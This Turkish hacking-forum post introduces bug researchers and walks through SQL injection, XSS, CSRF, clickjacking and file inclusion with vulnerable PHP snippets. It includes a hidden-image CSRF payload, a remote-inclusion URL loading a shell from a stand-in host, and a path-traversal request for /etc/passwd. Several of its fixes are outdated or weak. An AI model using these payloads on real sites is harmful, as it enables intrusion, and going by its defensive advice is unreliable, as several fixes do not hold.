Bug Researchers Nedir ?

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Zeron.

Kıdemli Üye
24 Eyl 2013
3,075
5
Moscow
Bug Researcher Nedir?
web yazılımcılarının kodladıgı script veya uygulamaları denetleyen ve belirli testlerden geçirerek hata olarak adlandıran
ingilizce kavramıyla bug keşveden kimselere denir.
web yazılımcılarının olagan dertlerinden biri olan ve tecrübesiz yazılımcılar tarafından kodlanan scriptler genelde internet aleminde çok fazladır.
bu tecrübesiz yazılımcıların kodladıgı scriptler üzerinde bug keşvederek sistemin zaafiyetini genişletmek için çalışırlar.
Peki iyi niyetli Bug Researcher varmıdır?
Evet tabiki bu noktada net aleminde kendi kimliği insanların güvenliğini korumak için bug keşvederek sistemi uyarmak ve toplumunda yaşayan insanların güvenliğini tehlikeye atmamak için bug’un kapatılmasında online destek vermek amacıyla çalışırlar.
Biz bunu Etik Bug Researchers olarak adlandırırız.
Lafı fazla uzatmadan web güvenlik açıklarından biraz bahsedelim.

1.SQL injection:
2.Cross-site scripting (XSS)
3.Cross-site request forgery (CSRF)
4.Clickjacking
5.File inclusion
1.SQL injection:

Web uygulamalarında en çok bilinen ve en tehlikeli açıklardan biridir.
Tespit etmesi ve incelenmesi bakımında biraz farklı ama işlem bakımından zor bir yöntemdir.
script üzerinde Bir veritabanı baglantısı düşünelim
$Id = $_GET[’Id’];
mysql_query("SELECT * FROM ziyaretciler WHERE Id = $Id");
Get methoduyla alınan kullanıcı tarafından gelen degeri hiç değiştirmeden sql veritabanına yazılır.
adı üstünde sql injection, yani veritabanı kodlarını id değişkeni içerisinde getirerek sorguya alır ve gerekli bilgiler çekilebilir.Bu web güvenlik açığı öyle tehlikelidirki sunucu bile zarar görebilir.
Korunmak için yine php’nin hazır fonksiyonlarından faydalanabiliriz. Üst düzey bir koruma isterseniz, donanımsal firewall’lar,
Açık kaynak kodlu server güvenlik sistemleri gibi (mod security) sistemlerden faydalanabilirsiniz.
Php fonksiyonlarından olan mysql_real_escape_string ile güvenli sql sorgusu yazabilirsiniz.
Yada Sql injection için tehlikeli olan sql komutları filtreleyebilirsiniz.
2.Cross-site scripting (XSS)
Xss html tagların filtrelemesinden kaynaklanan bir Web güvenlik açığıdır.
Sql injection gibidir verilerin filtrelenmemesinden kaynaklanır ancak sql injection kullanıcı tarafından gelen bilgiyi database’ye kayıt esnasında oluşur.
Xss’de ise çıkışların kontrolsülüğünden oluşan bir web güvenlik açığıdır.
Örnek vermek gerekirse
<?php
$UYEID = $_REQUEST["UYEID"];
$Mesaj = $_REQUEST["Mesaj"];
if($Mesaj) {
DbyeKaydet($Kullanici, $Mesaj);
echo "$UEID - $Mesaj"; }
?>
<input type="text" name="Mesaj" value="" />
Veritabanından gelen bilgiyi hiç bir filtrelemeye tabi tutmadan script üzerinde ekrana yansıtılır. Biz burada html tag kullanırsak veritabanından girilen girdi script ekranına yansıtılır.
mesela ben < b >bekir< /b > olarak veritabanına veri gönderirsem çıktısı olarak bold ile yazılmış bir bekir ibaresi görünecekdir.
Korunmasıda basittir;
ve sql injection ile aynı mantıkdır. şöyleki sorguya yani veriyi script’e yansıtmadan kontrol edilerek yada zararlı kodlardan temizlenerek veriyi scripte aktarmasıyla kapatılır.
tabi bunun için önlemler vardır. zararlı filtreleri engellemek belki çok iyi bir yöntem olabilir ama bir hata büyük zararlara yol açabileceği için
html kodların engellenmesi için kullanılan php ile gelen hazır fonksiyonlardan yararlanabiliriz.htmlspecialchars ve strip_tags bu iş için yeterlidir.
3.CSRF
Xss ile benzemesiyle bilinir ama tür olarak farklılık gösterir.
Get methoduyla çalıştırılan veya formlardan gelen bilgilere direk kod yazarak uygulanabilir.
şimdi bir örnek vererek geliştirelim.
bir forum scripti düşünelim. sistem üzerinde bir konu silmek istiyoruz diye düşünelim.
http://myforum.com/konu.php?Asama=KonUYUSIL
Yukarıdaki olay şu şekildedir. get methoduyla gelen değişkene bir deger yükleniş ve o deger gerçekleşir yani konu silinir.

Bu durumda Asama değişkeninde ki değer “KONUYUSIL” ise, direk sepeti silme işlemini yaptığınızı varsayalım. Saldırgan bunu sayfaya farklı bir şekilde değişkeni ve değeri yükleyerek işlemi farklı bir şekilde karşı tarafta çalıştırabilir. Sayfaya aşağıdaki image kodunu koyduğunu varsayalım.
Tarayıcımız img tagını çalıştırmaya çalışacak ama server tarafından get methodu çalıştırılarak işlem oluşmuş olacak.

<i m g s r c="Konu.php?Asama=KONUYUSIL" width="0" height="0" / >

.Korunma :
Form alanına eski password inputu veya captcha tarzı şeyler eklemek.

4.ClickJacking:
Nedir : Arka plan tuzağı kurmaya dayalı bir açıktır.Sitedeki butonların kontrolüne dayanır.
Saldırı : Tarayıcıya uygun exploit düzenlenerek kurbana tıklatmak.ClickJacking ile mail hacking , web hacking veya diğer hack faaliyetlerinizi gerçekleştirebilirsiniz.
a) onMouseUpJacking : Mouse ile fake link fark edilir fakat Mouse ile tıklama sonucu belirtilen arka plan url adresine yönelir.
b) FormJacking : İlk Mouse tıklamanız ile formu onaylamış olursunuz fakat Mouse tıklarınız hızlı olursa fake adresin form onayına yetişememesi nedeniyle gerçek adrese yönlenmektedir.
c) SubmitJacking : Pop up penceresinde fake siteye tıklansa bile arka plan olarak ayarladığınız adrese yönlenecektir.
Neden Oluşur : Bir tarayıcı açığı olduğu için oluşma nedeni tarayıcı sahiplerinden kaynaklanıyor olabilir
Korunma : Bilinen en iyi korunma yöntemi Firefox’un No-Script eklentisidir.

5.File Inclusion:

Bu tür web güvenlik açıkları çok tehlikledir. uzaktan dosya dahil edilip sistem çok büyük zararlara neden olabilir.
açık çok tehlikeli kapatılmasıda bir o kadar basit.
şimdi file inclusion türlerinden bahsedelim.
Rfı yani remote file inclusion: uzaktan dosya dahil etme.
Lfi yani local file inclusion: yerel dosya dahil etme.
Remote File Inclusion:
uzaktan dosya dahil etme anlamına gelmektedir. tehlikeli ve güzel kısmı ise shell çalıştıralıbilir durumda olması
bu açık file inclusion arasında en tehlikelidir.
şu şekilde oluşur:
test.php
<?
include($id.’../becker.php’);
?>
yukarıdaki kodumuz rfi ataklarına neden olur çünkü becker.php bulunmamakdır.
saldırı aşamasıda şu şekildedir.
www.site.com/test.php?id=http:shelladresi.com/shell.txt?
işte tanımlanmayan değişkeni biz shell adresimizle doldurulmasına rfi diyoruz.
nasıl fixledir diye bir soru duyar gibiyim.
sayfamıza dahil edilen değişkenimizin içini doldurarak unutmayın biz sepeti boş bırakırsak her zaman rfi vardır demekdir.
biz dosyamızın içine $id=’becker’; eklediğimizde boş sepet dolacakdır ve rfi ataklarından kurtulacaksınız.
Local file inlusion:
rf’den bahsettik şimdi sıra geldi Local file inclusion ’a yani localden dosya çalıştırmak.
yine bir test.php adında bir dosya oluşturalım.
<?
inlude(’dosya/$id/becker.php’);
?>
bu kod file inclusion atakalrına neden olur localde bulunan tüm dosyalar sömürülebilir. ve etc/passwd çekilerek config okunur.
basit bir atak yapalım ve uygulayalım.
www.mysite.com/test.php?id=../../../etc/passwd
bu atak ile etc/passwd okunur.. şimdi kapatmasını görelim.
biz id değişkenimizi doldurarak bu ataklardan korunabiliriz.
$id=’BecKer’;

Sonkısım:
Tabiki bu atak çeşitlerinden başka yöntemler ve başka açık çeşitleri vardır. script üzerinde Admin kullanıcısı var olsun ve siz yineden o kullanıcı adını alabiliyorsanız buda bir bug’dur
sadece bu atak çeşitleri en popüler ve yaygın olanlarıdır. sizin dil bilginize kalmış bir durum.
iyi bir Bug Researcher farklı ve özgün olmayı gerektirir.​
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.